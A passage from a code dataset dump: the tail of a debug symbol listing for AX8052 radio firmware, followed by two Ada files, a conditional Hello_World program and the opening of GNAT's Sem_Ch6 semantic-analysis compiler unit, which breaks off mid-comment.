S:G$fmemcpy$0$0({2}DF,SV:S),C,0,0 S:G$get_startcause$0$0({2}DF,SC:U),C,0,0 S:G$wtimer_standby$0$0({2}DF,SV:S),C,0,0 S:G$enter_standby$0$0({2}DF,SV:S),C,0,0 S:G$enter_deepsleep$0$0({2}DF,SV:S),C,0,0 S:G$enter_sleep$0$0({2}DF,SV:S),C,0,0 S:G$enter_sleep_cont$0$0({2}DF,SV:S),C,0,0 S:G$reset_cpu$0$0({2}DF,SV:S),C,0,0 S:G$turn_off_xosc$0$0({2}DF,SV:S),C,0,0 S:G$turn_off_lpxosc$0$0({2}DF,SV:S),C,0,0 S:G$enter_critical$0$0({2}DF,SC:U),C,0,0 S:G$exit_critical$0$0({2}DF,SV:S),C,0,0 S:G$reenter_critical$0$0({2}DF,SV:S),C,0,0 S:G$__enable_irq$0$0({2}DF,SV:S),C,0,0 S:G$__disable_irq$0$0({2}DF,SV:S),C,0,0 S:G$wtimer0_setconfig$0$0({2}DF,SV:S),C,0,0 S:G$wtimer1_setconfig$0$0({2}DF,SV:S),C,0,0 S:G$wtimer_init$0$0({2}DF,SV:S),C,0,0 S:G$wtimer_init_deepsleep$0$0({2}DF,SV:S),C,0,0 S:G$wtimer_idle$0$0({2}DF,SC:U),C,0,0 S:G$wtimer_runcallbacks$0$0({2}DF,SC:U),C,0,0 S:G$wtimer0_curtime$0$0({2}DF,SL:U),C,0,0 S:G$wtimer1_curtime$0$0({2}DF,SL:U),C,0,0 S:G$wtimer0_addabsolute$0$0({2}DF,SV:S),C,0,0 S:G$wtimer1_addabsolute$0$0({2}DF,SV:S),C,0,0 S:G$wtimer0_addrelative$0$0({2}DF,SV:S),C,0,0 S:G$wtimer1_addrelative$0$0({2}DF,SV:S),C,0,0 S:G$wtimer_remove$0$0({2}DF,SC:U),C,0,0 S:G$wtimer0_remove$0$0({2}DF,SC:U),C,0,0 S:G$wtimer1_remove$0$0({2}DF,SC:U),C,0,0 S:G$wtimer_add_callback$0$0({2}DF,SV:S),C,0,0 S:G$wtimer_remove_callback$0$0({2}DF,SC:U),C,0,0 S:G$wtimer_cansleep$0$0({2}DF,SC:U),C,0,0 S:G$wtimer_irq$0$0({2}DF,SV:S),C,0,0 S:G$lcd2_irq$0$0({2}DF,SV:S),C,0,0 S:G$lcd2_poll$0$0({2}DF,SC:U),C,0,0 S:G$lcd2_txbufptr$0$0({2}DF,DX,SC:U),C,0,0 S:G$lcd2_txfreelinear$0$0({2}DF,SC:U),C,0,0 S:G$lcd2_txidle$0$0({2}DF,SC:U),C,0,0 S:G$lcd2_txfree$0$0({2}DF,SC:U),C,0,0 S:G$lcd2_txbuffersize$0$0({2}DF,SC:U),C,0,0 S:G$lcd2_txpokecmd$0$0({2}DF,SV:S),C,0,0 S:G$lcd2_txpoke$0$0({2}DF,SV:S),C,0,0 S:G$lcd2_txpokehex$0$0({2}DF,SV:S),C,0,0 S:G$lcd2_txadvance$0$0({2}DF,SV:S),C,0,0 S:G$lcd2_init$0$0({2}DF,SV:S),C,0,0 S:G$lcd2_portinit$0$0({2}DF,SV:S),C,0,0 S:G$lcd2_wait_txdone$0$0({2}DF,SV:S),C,0,0 S:G$lcd2_wait_txfree$0$0({2}DF,SV:S),C,0,0 S:G$lcd2_tx$0$0({2}DF,SV:S),C,0,0 S:G$lcd2_txcmdshort$0$0({2}DF,SV:S),C,0,0 S:G$lcd2_txcmdlong$0$0({2}DF,SV:S),C,0,0 S:G$lcd2_setpos$0$0({2}DF,SV:S),C,0,0 S:G$lcd2_cleardisplay$0$0({2}DF,SV:S),C,0,0 S:G$lcd2_clear$0$0({2}DF,SV:S),C,0,0 S:G$lcd2_writestr$0$0({2}DF,SV:S),C,0,0 S:G$lcd2_writenum16$0$0({2}DF,SC:U),C,0,0 S:G$lcd2_writehex16$0$0({2}DF,SC:U),C,0,0 S:G$lcd2_writenum32$0$0({2}DF,SC:U),C,0,0 S:G$lcd2_writehex32$0$0({2}DF,SC:U),C,0,0 S:G$axradio_init$0$0({2}DF,SC:U),C,0,0 S:G$axradio_cansleep$0$0({2}DF,SC:U),C,0,0 S:G$axradio_set_mode$0$0({2}DF,SC:U),C,0,0 S:G$axradio_get_mode$0$0({2}DF,SC:U),C,0,0 S:G$axradio_set_channel$0$0({2}DF,SC:U),C,0,0 S:G$axradio_get_channel$0$0({2}DF,SC:U),C,0,0 S:G$axradio_get_pllrange$0$0({2}DF,SI:U),C,0,0 S:G$axradio_get_pllvcoi$0$0({2}DF,SC:U),C,0,0 S:G$axradio_set_local_address$0$0({2}DF,SV:S),C,0,0 S:G$axradio_get_local_address$0$0({2}DF,SV:S),C,0,0 S:G$axradio_set_default_remote_address$0$0({2}DF,SV:S),C,0,0 S:G$axradio_get_default_remote_address$0$0({2}DF,SV:S),C,0,0 S:G$axradio_transmit$0$0({2}DF,SC:U),C,0,0 S:G$axradio_set_freqoffset$0$0({2}DF,SC:U),C,0,0 S:G$axradio_get_freqoffset$0$0({2}DF,SL:S),C,0,0 S:G$axradio_conv_freq_tohz$0$0({2}DF,SL:S),C,0,0 S:G$axradio_conv_freq_fromhz$0$0({2}DF,SL:S),C,0,0 S:G$axradio_conv_timeinterval_totimer0$0$0({2}DF,SL:S),C,0,0 S:G$axradio_conv_time_totimer0$0$0({2}DF,SL:U),C,0,0 S:G$axradio_statuschange$0$0({2}DF,SV:S),C,0,0 S:G$axradio_agc_freeze$0$0({2}DF,SC:U),C,0,0 S:G$axradio_agc_thaw$0$0({2}DF,SC:U),C,0,0 S:G$axradio_calibrate_lposc$0$0({2}DF,SV:S),C,0,0 S:G$axradio_check_fourfsk_modulation$0$0({2}DF,SC:U),C,0,0 S:G$axradio_get_transmitter_pa_type$0$0({2}DF,SC:U),C,0,0 S:G$axradio_setup_pincfg1$0$0({2}DF,SV:S),C,0,0 S:G$axradio_setup_pincfg2$0$0({2}DF,SV:S),C,0,0 S:G$axradio_commsleepexit$0$0({2}DF,SV:S),C,0,0 S:G$axradio_dbgpkt_enableIRQ$0$0({2}DF,SV:S),C,0,0 S:G$axradio_isr$0$0({2}DF,SV:S),C,0,0 S:G$display_received_packet$0$0({2}DF,SC:U),C,0,0 S:G$dbglink_received_packet$0$0({2}DF,SV:S),C,0,0 S:G$com0_display_radio_error$0$0({2}DF,SV:S),C,0,0 S:G$enable_radio_interrupt_in_mcu_pin$0$0({2}DF,SV:S),C,0,0 S:G$disable_radio_interrupt_in_mcu_pin$0$0({2}DF,SV:S),C,0,0 S:G$dbglink_irq$0$0({2}DF,SV:S),C,0,0 S:G$dbglink_poll$0$0({2}DF,SC:U),C,0,0 S:G$dbglink_txbufptr$0$0({2}DF,DX,SC:U),C,0,0 S:G$dbglink_txfreelinear$0$0({2}DF,SC:U),C,0,0 S:G$dbglink_txidle$0$0({2}DF,SC:U),C,0,0 S:G$dbglink_txfree$0$0({2}DF,SC:U),C,0,0 S:G$dbglink_rxbufptr$0$0({2}DF,DX,SC:U),C,0,0 S:G$dbglink_rxcountlinear$0$0({2}DF,SC:U),C,0,0 S:G$dbglink_rxcount$0$0({2}DF,SC:U),C,0,0 S:G$dbglink_txbuffersize$0$0({2}DF,SC:U),C,0,0 S:G$dbglink_rxbuffersize$0$0({2}DF,SC:U),C,0,0 S:G$dbglink_rxpeek$0$0({2}DF,SC:U),C,0,0 S:G$dbglink_txpoke$0$0({2}DF,SV:S),C,0,0 S:G$dbglink_txpokehex$0$0({2}DF,SV:S),C,0,0 S:G$dbglink_rxadvance$0$0({2}DF,SV:S),C,0,0 S:G$dbglink_txadvance$0$0({2}DF,SV:S),C,0,0 S:G$dbglink_init$0$0({2}DF,SV:S),C,0,0 S:G$dbglink_wait_txdone$0$0({2}DF,SV:S),C,0,0 S:G$dbglink_wait_txfree$0$0({2}DF,SV:S),C,0,0 S:G$dbglink_wait_rxcount$0$0({2}DF,SV:S),C,0,0 S:G$dbglink_rx$0$0({2}DF,SC:U),C,0,0 S:G$dbglink_tx$0$0({2}DF,SV:S),C,0,0 S:G$dbglink_writestr$0$0({2}DF,SV:S),C,0,0 S:G$dbglink_writenum16$0$0({2}DF,SC:U),C,0,0 S:G$dbglink_writehex16$0$0({2}DF,SC:U),C,0,0 S:G$dbglink_writenum32$0$0({2}DF,SC:U),C,0,0 S:G$dbglink_writehex32$0$0({2}DF,SC:U),C,0,0 S:G$dbglink_writehexu16$0$0({2}DF,SV:S),C,0,0 S:G$dbglink_writehexu32$0$0({2}DF,SV:S),C,0,0 S:G$dbglink_writeu16$0$0({2}DF,SV:S),C,0,0 S:G$dbglink_writeu32$0$0({2}DF,SV:S),C,0,0 S:G$crc_ccitt_byte$0$0({2}DF,SI:U),C,0,0 S:G$crc_ccitt_msb_byte$0$0({2}DF,SI:U),C,0,0 S:G$crc_ccitt$0$0({2}DF,SI:U),C,0,0 S:G$crc_ccitt_msb$0$0({2}DF,SI:U),C,0,0 S:G$crc_crc16_byte$0$0({2}DF,SI:U),C,0,0 S:G$crc_crc16_msb_byte$0$0({2}DF,SI:U),C,0,0 S:G$crc_crc16$0$0({2}DF,SI:U),C,0,0 S:G$crc_crc16_msb$0$0({2}DF,SI:U),C,0,0 S:G$crc_crc16dnp_byte$0$0({2}DF,SI:U),C,0,0 S:G$crc_crc16dnp_msb_byte$0$0({2}DF,SI:U),C,0,0 S:G$crc_crc16dnp$0$0({2}DF,SI:U),C,0,0 S:G$crc_crc16dnp_msb$0$0({2}DF,SI:U),C,0,0 S:G$crc_crc32_byte$0$0({2}DF,SL:U),C,0,0 S:G$crc_crc32_msb_byte$0$0({2}DF,SL:U),C,0,0 S:G$crc_crc32$0$0({2}DF,SL:U),C,0,0 S:G$crc_crc32_msb$0$0({2}DF,SL:U),C,0,0 S:G$crc_crc8ccitt_byte$0$0({2}DF,SC:U),C,0,0 S:G$crc_crc8ccitt_msb_byte$0$0({2}DF,SC:U),C,0,0 S:G$crc_crc8ccitt$0$0({2}DF,SC:U),C,0,0 S:G$crc_crc8ccitt_msb$0$0({2}DF,SC:U),C,0,0 S:G$crc_crc8onewire_byte$0$0({2}DF,SC:U),C,0,0 S:G$crc_crc8onewire_msb_byte$0$0({2}DF,SC:U),C,0,0 S:G$crc_crc8onewire$0$0({2}DF,SC:U),C,0,0 S:G$crc_crc8onewire_msb$0$0({2}DF,SC:U),C,0,0 S:G$crc8_ccitt_byte$0$0({2}DF,SC:U),C,0,0 S:G$crc8_ccitt$0$0({2}DF,SC:U),C,0,0 S:G$crc8_onewire_byte$0$0({2}DF,SC:U),C,0,0 S:G$crc8_onewire$0$0({2}DF,SC:U),C,0,0 S:G$pn9_advance$0$0({2}DF,SI:U),C,0,0 S:G$pn9_advance_bit$0$0({2}DF,SI:U),C,0,0 S:G$pn9_advance_bits$0$0({2}DF,SI:U),C,0,0 S:G$pn9_advance_byte$0$0({2}DF,SI:U),C,0,0 S:G$pn9_buffer$0$0({2}DF,SI:U),C,0,0 S:G$pn15_advance$0$0({2}DF,SI:U),C,0,0 S:G$pn15_output$0$0({2}DF,SC:U),C,0,0 S:G$flash_unlock$0$0({2}DF,SV:S),C,0,0 S:G$flash_lock$0$0({2}DF,SV:S),C,0,0 S:G$flash_wait$0$0({2}DF,SC:S),C,0,0 S:G$flash_pageerase$0$0({2}DF,SC:S),C,0,0 S:G$flash_write$0$0({2}DF,SC:S),C,0,0 S:G$flash_read$0$0({2}DF,SI:U),C,0,0 S:G$flash_apply_calibration$0$0({2}DF,SC:U),C,0,0 S:G$uart_timer0_baud$0$0({2}DF,SV:S),C,0,0 S:G$uart_timer1_baud$0$0({2}DF,SV:S),C,0,0 S:G$uart_timer2_baud$0$0({2}DF,SV:S),C,0,0 S:G$adc_measure_temperature$0$0({2}DF,SI:S),C,0,0 S:G$adc_calibrate_gain$0$0({2}DF,SV:S),C,0,0 S:G$adc_calibrate_temp$0$0({2}DF,SV:S),C,0,0 S:G$adc_calibrate$0$0({2}DF,SV:S),C,0,0 S:G$adc_uncalibrate$0$0({2}DF,SV:S),C,0,0 S:G$adc_singleended_offset_x01$0$0({2}DF,SI:U),C,0,0 S:G$adc_singleended_offset_x1$0$0({2}DF,SI:U),C,0,0 S:G$adc_singleended_offset_x10$0$0({2}DF,SI:U),C,0,0 S:G$bch3121_syndrome$0$0({2}DF,SI:U),C,0,0 S:G$bch3121_encode$0$0({2}DF,SL:U),C,0,0 S:G$bch3121_encode_parity$0$0({2}DF,SL:U),C,0,0 S:G$bch3121_decode$0$0({2}DF,SL:U),C,0,0 S:G$bch3121_decode_parity$0$0({2}DF,SL:U),C,0,0 S:G$radio_read16$0$0({2}DF,SI:U),C,0,0 S:G$radio_read24$0$0({2}DF,SL:U),C,0,0 S:G$radio_read32$0$0({2}DF,SL:U),C,0,0 S:G$radio_write16$0$0({2}DF,SV:S),C,0,0 S:G$radio_write24$0$0({2}DF,SV:S),C,0,0 S:G$radio_write32$0$0({2}DF,SV:S),C,0,0 S:G$ax5031_comminit$0$0({2}DF,SV:S),C,0,0 S:G$ax5031_commsleepexit$0$0({2}DF,SV:S),C,0,0 S:G$ax5031_reset$0$0({2}DF,SC:U),C,0,0 S:G$ax5031_rclk_enable$0$0({2}DF,SV:S),C,0,0 S:G$ax5031_rclk_disable$0$0({2}DF,SV:S),C,0,0 S:G$ax5031_readfifo$0$0({2}DF,SV:S),C,0,0 S:G$ax5031_writefifo$0$0({2}DF,SV:S),C,0,0 S:G$ax5042_comminit$0$0({2}DF,SV:S),C,0,0 S:G$ax5042_commsleepexit$0$0({2}DF,SV:S),C,0,0 S:G$ax5042_reset$0$0({2}DF,SC:U),C,0,0 S:G$ax5042_rclk_enable$0$0({2}DF,SV:S),C,0,0 S:G$ax5042_rclk_disable$0$0({2}DF,SV:S),C,0,0 S:G$ax5042_readfifo$0$0({2}DF,SV:S),C,0,0 S:G$ax5042_writefifo$0$0({2}DF,SV:S),C,0,0 S:G$ax5043_comminit$0$0({2}DF,SV:S),C,0,0 S:G$ax5043_commsleepexit$0$0({2}DF,SV:S),C,0,0 S:G$ax5043_reset$0$0({2}DF,SC:U),C,0,0 S:G$ax5043_enter_deepsleep$0$0({2}DF,SV:S),C,0,0 S:G$ax5043_wakeup_deepsleep$0$0({2}DF,SC:U),C,0,0 S:G$ax5043_rclk_enable$0$0({2}DF,SV:S),C,0,0 S:G$ax5043_rclk_disable$0$0({2}DF,SV:S),C,0,0 S:G$ax5043_rclk_wait_stable$0$0({2}DF,SV:S),C,0,0 S:G$ax5043_readfifo$0$0({2}DF,SV:S),C,0,0 S:G$ax5043_writefifo$0$0({2}DF,SV:S),C,0,0 S:G$ax5043_set_pwramp_pin$0$0({2}DF,SV:S),C,0,0 S:G$ax5043_get_pwramp_pin$0$0({2}DF,SC:U),C,0,0 S:G$ax5043_set_antsel_pin$0$0({2}DF,SV:S),C,0,0 S:G$ax5043_get_antsel_pin$0$0({2}DF,SC:U),C,0,0 S:G$ax5044_45_comminit$0$0({2}DF,SV:S),C,0,0 S:G$ax5044_45_commsleepexit$0$0({2}DF,SV:S),C,0,0 S:G$ax5044_45_reset$0$0({2}DF,SC:U),C,0,0 S:G$ax5044_45_enter_deepsleep$0$0({2}DF,SV:S),C,0,0 S:G$ax5044_45_wakeup_deepsleep$0$0({2}DF,SC:U),C,0,0 S:G$ax5044_45_rclk_enable$0$0({2}DF,SV:S),C,0,0 S:G$ax5044_45_rclk_disable$0$0({2}DF,SV:S),C,0,0 S:G$ax5044_45_rclk_wait_stable$0$0({2}DF,SV:S),C,0,0 S:G$ax5044_45_readfifo$0$0({2}DF,SV:S),C,0,0 S:G$ax5044_45_writefifo$0$0({2}DF,SV:S),C,0,0 S:G$ax5044_45_set_pwramp_pin$0$0({2}DF,SV:S),C,0,0 S:G$ax5044_45_get_pwramp_pin$0$0({2}DF,SC:U),C,0,0 S:G$ax5044_45_set_antsel_pin$0$0({2}DF,SV:S),C,0,0 S:G$ax5044_45_get_antsel_pin$0$0({2}DF,SC:U),C,0,0 S:G$ax5051_comminit$0$0({2}DF,SV:S),C,0,0 S:G$ax5051_commsleepexit$0$0({2}DF,SV:S),C,0,0 S:G$ax5051_reset$0$0({2}DF,SC:U),C,0,0 S:G$ax5051_rclk_enable$0$0({2}DF,SV:S),C,0,0 S:G$ax5051_rclk_disable$0$0({2}DF,SV:S),C,0,0 S:G$ax5051_readfifo$0$0({2}DF,SV:S),C,0,0 S:G$ax5051_writefifo$0$0({2}DF,SV:S),C,0,0 S:G$uart0_irq$0$0({2}DF,SV:S),C,0,0 S:G$uart0_poll$0$0({2}DF,SC:U),C,0,0 S:G$uart0_txbufptr$0$0({2}DF,DX,SC:U),C,0,0 S:G$uart0_txfreelinear$0$0({2}DF,SC:U),C,0,0 S:G$uart0_txidle$0$0({2}DF,SC:U),C,0,0 S:G$uart0_txbusy$0$0({2}DF,SC:U),C,0,0 S:G$uart0_txfree$0$0({2}DF,SC:U),C,0,0 S:G$uart0_rxbufptr$0$0({2}DF,DX,SC:U),C,0,0 S:G$uart0_rxcountlinear$0$0({2}DF,SC:U),C,0,0 S:G$uart0_rxcount$0$0({2}DF,SC:U),C,0,0 S:G$uart0_txbuffersize$0$0({2}DF,SC:U),C,0,0 S:G$uart0_rxbuffersize$0$0({2}DF,SC:U),C,0,0 S:G$uart0_rxpeek$0$0({2}DF,SC:U),C,0,0 S:G$uart0_txpoke$0$0({2}DF,SV:S),C,0,0 S:G$uart0_txpokehex$0$0({2}DF,SV:S),C,0,0 S:G$uart0_rxadvance$0$0({2}DF,SV:S),C,0,0 S:G$uart0_txadvance$0$0({2}DF,SV:S),C,0,0 S:G$uart0_init$0$0({2}DF,SV:S),C,0,0 S:G$uart0_stop$0$0({2}DF,SV:S),C,0,0 S:G$uart0_wait_txdone$0$0({2}DF,SV:S),C,0,0 S:G$uart0_wait_txfree$0$0({2}DF,SV:S),C,0,0 S:G$uart0_wait_rxcount$0$0({2}DF,SV:S),C,0,0 S:G$uart0_rx$0$0({2}DF,SC:U),C,0,0 S:G$uart0_tx$0$0({2}DF,SV:S),C,0,0 S:G$uart0_writestr$0$0({2}DF,SV:S),C,0,0 S:G$uart0_writenum16$0$0({2}DF,SC:U),C,0,0 S:G$uart0_writehex16$0$0({2}DF,SC:U),C,0,0 S:G$uart0_writenum32$0$0({2}DF,SC:U),C,0,0 S:G$uart0_writehex32$0$0({2}DF,SC:U),C,0,0 S:G$uart0_writehexu16$0$0({2}DF,SV:S),C,0,0 S:G$uart0_writehexu32$0$0({2}DF,SV:S),C,0,0 S:G$uart0_writeu16$0$0({2}DF,SV:S),C,0,0 S:G$uart0_writeu32$0$0({2}DF,SV:S),C,0,0 S:G$uart1_irq$0$0({2}DF,SV:S),C,0,0 S:G$uart1_poll$0$0({2}DF,SC:U),C,0,0 S:G$uart1_txbufptr$0$0({2}DF,DX,SC:U),C,0,0 S:G$uart1_txfreelinear$0$0({2}DF,SC:U),C,0,0 S:G$uart1_txidle$0$0({2}DF,SC:U),C,0,0 S:G$uart1_txbusy$0$0({2}DF,SC:U),C,0,0 S:G$uart1_txfree$0$0({2}DF,SC:U),C,0,0 S:G$uart1_rxbufptr$0$0({2}DF,DX,SC:U),C,0,0 S:G$uart1_rxcountlinear$0$0({2}DF,SC:U),C,0,0 S:G$uart1_rxcount$0$0({2}DF,SC:U),C,0,0 S:G$uart1_txbuffersize$0$0({2}DF,SC:U),C,0,0 S:G$uart1_rxbuffersize$0$0({2}DF,SC:U),C,0,0 S:G$uart1_rxpeek$0$0({2}DF,SC:U),C,0,0 S:G$uart1_txpoke$0$0({2}DF,SV:S),C,0,0 S:G$uart1_txpokehex$0$0({2}DF,SV:S),C,0,0 S:G$uart1_rxadvance$0$0({2}DF,SV:S),C,0,0 S:G$uart1_txadvance$0$0({2}DF,SV:S),C,0,0 S:G$uart1_init$0$0({2}DF,SV:S),C,0,0 S:G$uart1_stop$0$0({2}DF,SV:S),C,0,0 S:G$uart1_wait_txdone$0$0({2}DF,SV:S),C,0,0 S:G$uart1_wait_txfree$0$0({2}DF,SV:S),C,0,0 S:G$uart1_wait_rxcount$0$0({2}DF,SV:S),C,0,0 S:G$uart1_rx$0$0({2}DF,SC:U),C,0,0 S:G$uart1_tx$0$0({2}DF,SV:S),C,0,0 S:G$uart1_writestr$0$0({2}DF,SV:S),C,0,0 S:G$uart1_writenum16$0$0({2}DF,SC:U),C,0,0 S:G$uart1_writehex16$0$0({2}DF,SC:U),C,0,0 S:G$uart1_writenum32$0$0({2}DF,SC:U),C,0,0 S:G$uart1_writehex32$0$0({2}DF,SC:U),C,0,0 S:G$uart1_writehexu16$0$0({2}DF,SV:S),C,0,0 S:G$uart1_writehexu32$0$0({2}DF,SV:S),C,0,0 S:G$uart1_writeu16$0$0({2}DF,SV:S),C,0,0 S:G$uart1_writeu32$0$0({2}DF,SV:S),C,0,0 S:G$com0_inituart0$0$0({2}DF,SV:S),C,0,0 S:G$com0_portinit$0$0({2}DF,SV:S),C,0,0 S:G$com0_init$0$0({2}DF,SV:S),C,0,0 S:G$com0_setpos$0$0({2}DF,SV:S),C,0,0 S:G$com0_writestr$0$0({2}DF,SV:S),C,0,0 S:G$com0_tx$0$0({2}DF,SV:S),C,0,0 S:G$com0_clear$0$0({2}DF,SV:S),C,0,0 S:Fmisc$delayms_callback$0$0({2}DF,SV:S),C,0,0 S:G$axradio_framing_maclen$0$0({1}SC:U),D,0,0 S:G$axradio_framing_addrlen$0$0({1}SC:U),D,0,0 S:G$remoteaddr$0$0({5}STaxradio_address:S),D,0,0 S:G$localaddr$0$0({10}STaxradio_address_mask:S),D,0,0 S:G$demo_packet$0$0({10}DA10d,SC:U),D,0,0 S:G$framing_insert_counter$0$0({1}SC:U),D,0,0 S:G$framing_counter_pos$0$0({1}SC:U),D,0,0 S:G$lpxosc_settlingtime$0$0({2}SI:U),D,0,0 S:G$crc_ccitt_table$0$0({512}DA256d,SI:U),D,0,0 S:G$crc_ccitt_msbtable$0$0({512}DA256d,SI:U),D,0,0 S:G$crc_crc16_table$0$0({512}DA256d,SI:U),D,0,0 S:G$crc_crc16_msbtable$0$0({512}DA256d,SI:U),D,0,0 S:G$crc_crc16dnp_table$0$0({512}DA256d,SI:U),D,0,0 S:G$crc_crc16dnp_msbtable$0$0({512}DA256d,SI:U),D,0,0 S:G$crc_crc32_table$0$0({1024}DA256d,SL:U),D,0,0 S:G$crc_crc32_msbtable$0$0({1024}DA256d,SL:U),D,0,0 S:G$crc_crc8ccitt_table$0$0({256}DA256d,SC:U),D,0,0 S:G$crc_crc8ccitt_msbtable$0$0({256}DA256d,SC:U),D,0,0 S:G$crc_crc8onewire_table$0$0({256}DA256d,SC:U),D,0,0 S:G$crc_crc8onewire_msbtable$0$0({256}DA256d,SC:U),D,0,0 S:G$pn9_table$0$0({512}DA512d,SC:U),D,0,0 S:G$pn15_adv_table$0$0({512}DA256d,SI:U),D,0,0 S:G$pn15_out_table$0$0({256}DA256d,SC:U),D,0,0 S:G$bch3121_syndrometable$0$0({2048}DA1024d,SI:U),D,0,0 S:Fmisc$errtbl$0$0({24}DA8d,STerrtbl:S),D,0,0 S:Fmisc$__str_0$0$0({17}DA17d,SC:S),Z,0,0 S:Fmisc$__str_1$0$0({8}DA8d,SC:S),Z,0,0 S:Fmisc$__str_2$0$0({11}DA11d,SC:S),Z,0,0 S:Fmisc$__str_3$0$0({11}DA11d,SC:S),Z,0,0 S:Fmisc$__str_4$0$0({17}DA17d,SC:S),Z,0,0 S:Fmisc$__str_5$0$0({11}DA11d,SC:S),Z,0,0 S:Fmisc$__str_6$0$0({13}DA13d,SC:S),Z,0,0
AdaCore/gpr
Ada
195
adb
#if MORE="Yes" then with Hi; #else with Ada.Text_IO; #end if; procedure Hello_World is begin #if MORE="Yes" then Hi.Put; #else Ada.Text_IO.Put_Line ("hi there"); #end if; end Hello_World;
zhmu/ananas
Ada
506,732
adb
------------------------------------------------------------------------------ -- -- -- GNAT COMPILER COMPONENTS -- -- -- -- S E M _ C H 6 -- -- -- -- B o d y -- -- -- -- Copyright (C) 1992-2022, Free Software Foundation, Inc. -- -- -- -- GNAT is free software; you can redistribute it and/or modify it under -- -- terms of the GNU General Public License as published by the Free Soft- -- -- ware Foundation; either version 3, or (at your option) any later ver- -- -- sion. GNAT is distributed in the hope that it will be useful, but WITH- -- -- OUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY -- -- or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License -- -- for more details. You should have received a copy of the GNU General -- -- Public License distributed with GNAT; see file COPYING3. If not, go to -- -- http://www.gnu.org/licenses for a complete copy of the license. -- -- -- -- GNAT was originally developed by the GNAT team at New York University. -- -- Extensive contributions were provided by Ada Core Technologies Inc. -- -- -- ------------------------------------------------------------------------------ with Aspects; use Aspects; with Atree; use Atree; with Checks; use Checks; with Contracts; use Contracts; with Debug; use Debug; with Einfo; use Einfo; with Einfo.Entities; use Einfo.Entities; with Einfo.Utils; use Einfo.Utils; with Elists; use Elists; with Errout; use Errout; with Expander; use Expander; with Exp_Ch3; use Exp_Ch3; with Exp_Ch6; use Exp_Ch6; with Exp_Ch9; use Exp_Ch9; with Exp_Dbug; use Exp_Dbug; with Exp_Tss; use Exp_Tss; with Exp_Util; use Exp_Util; with Freeze; use Freeze; with Ghost; use Ghost; with Inline; use Inline; with Itypes; use Itypes; with Lib.Xref; use Lib.Xref; with Layout; use Layout; with Namet; use Namet; with Lib; use Lib; with Nlists; use Nlists; with Nmake; use Nmake; with Opt; use Opt; with Output; use Output; with Rtsfind; use Rtsfind; with Sem; use Sem; with Sem_Aux; use Sem_Aux; with Sem_Cat; use Sem_Cat; with Sem_Ch3; use Sem_Ch3; with Sem_Ch4; use Sem_Ch4; with Sem_Ch5; use Sem_Ch5; with Sem_Ch8; use Sem_Ch8; with Sem_Ch9; use Sem_Ch9; with Sem_Ch10; use Sem_Ch10; with Sem_Ch12; use Sem_Ch12; with Sem_Ch13; use Sem_Ch13; with Sem_Dim; use Sem_Dim; with Sem_Disp; use Sem_Disp; with Sem_Dist; use Sem_Dist; with Sem_Elim; use Sem_Elim; with Sem_Eval; use Sem_Eval; with Sem_Mech; use Sem_Mech; with Sem_Prag; use Sem_Prag; with Sem_Res; use Sem_Res; with Sem_Util; use Sem_Util; with Sem_Type; use Sem_Type; with Sem_Warn; use Sem_Warn; with Sinput; use Sinput; with Stand; use Stand; with Sinfo; use Sinfo; with Sinfo.Nodes; use Sinfo.Nodes; with Sinfo.Utils; use Sinfo.Utils; with Sinfo.CN; use Sinfo.CN; with Snames; use Snames; with Stringt; use Stringt; with Style; with Stylesw; use Stylesw; with Tbuild; use Tbuild; with Uintp; use Uintp; with Urealp; use Urealp; with Validsw; use Validsw; with Warnsw; use Warnsw; package body Sem_Ch6 is May_Hide_Profile : Boolean := False; -- This flag is used to indicate that two formals in two subprograms being -- checked for conformance differ only in that one is an access parameter -- while the other is of a general access type with the same designated -- type. In this case, if the rest of the signatures match, a call to -- either subprogram may be ambiguous, which is worth a warning. The flag -- is set in Compatible_Types, and the warning emitted in -- New_Overloaded_Entity. ----------------------- -- Local Subprograms -- ----------------------- procedure Analyze_Function_Return (N : Node_Id); -- Subsidiary to Analyze_Return_Statement. Called when the return statement -- applies to a [generic] function. procedure Analyze_Generic_Subprogram_Body (N : Node_Id; Gen_Id : Entity_Id); -- Analyze a generic subprogram body. N is the body to be analyzed, and -- Gen_Id is the defining entity Id for the corresponding spec. procedure Analyze_Null_Procedure (N : Node_Id; Is_Completion : out Boolean); -- A null procedure can be a declaration or (Ada 2012) a completion procedure Analyze_Return_Statement (N : Node_Id); -- Common processing for simple and extended return statements procedure Analyze_Return_Type (N : Node_Id); -- Subsidiary to Process_Formals: analyze subtype mark in function -- specification in a context where the formals are visible and hide -- outer homographs. procedure Analyze_Subprogram_Body_Helper (N : Node_Id); -- Does all the real work of Analyze_Subprogram_Body. This is split out so -- that we can use RETURN but not skip the debug output at the end. procedure Check_Conformance (New_Id : Entity_Id; Old_Id : Entity_Id; Ctype : Conformance_Type; Errmsg : Boolean; Conforms : out Boolean; Err_Loc : Node_Id := Empty; Get_Inst : Boolean := False; Skip_Controlling_Formals : Boolean := False); -- Given two entities, this procedure checks that the profiles associated -- with these entities meet the conformance criterion given by the third -- parameter. If they conform, Conforms is set True and control returns -- to the caller. If they do not conform, Conforms is set to False, and -- in addition, if Errmsg is True on the call, proper messages are output -- to complain about the conformance failure. If Err_Loc is non_Empty -- the error messages are placed on Err_Loc, if Err_Loc is empty, then -- error messages are placed on the appropriate part of the construct -- denoted by New_Id. If Get_Inst is true, then this is a mode conformance -- against a formal access-to-subprogram type so Get_Instance_Of must -- be called. procedure Check_Formal_Subprogram_Conformance (New_Id : Entity_Id; Old_Id : Entity_Id; Err_Loc : Node_Id; Errmsg : Boolean; Conforms : out Boolean); -- Core implementation of Check_Formal_Subprogram_Conformance from spec. -- Errmsg can be set to False to not emit error messages. -- Conforms is set to True if there is conformance, False otherwise. procedure Check_Limited_Return (N : Node_Id; Expr : Node_Id; R_Type : Entity_Id); -- Check the appropriate (Ada 95 or Ada 2005) rules for returning limited -- types. Used only for simple return statements. Expr is the expression -- returned. procedure Check_Subprogram_Order (N : Node_Id); -- N is the N_Subprogram_Body node for a subprogram. This routine applies -- the alpha ordering rule for N if this ordering requirement applicable. procedure Check_Returns (HSS : Node_Id; Mode : Character; Err : out Boolean; Proc : Entity_Id := Empty); -- Called to check for missing return statements in a function body, or for -- returns present in a procedure body which has No_Return set. HSS is the -- handled statement sequence for the subprogram body. This procedure -- checks all flow paths to make sure they either have return (Mode = 'F', -- used for functions) or do not have a return (Mode = 'P', used for -- No_Return procedures). The flag Err is set if there are any control -- paths not explicitly terminated by a return in the function case, and is -- True otherwise. Proc is the entity for 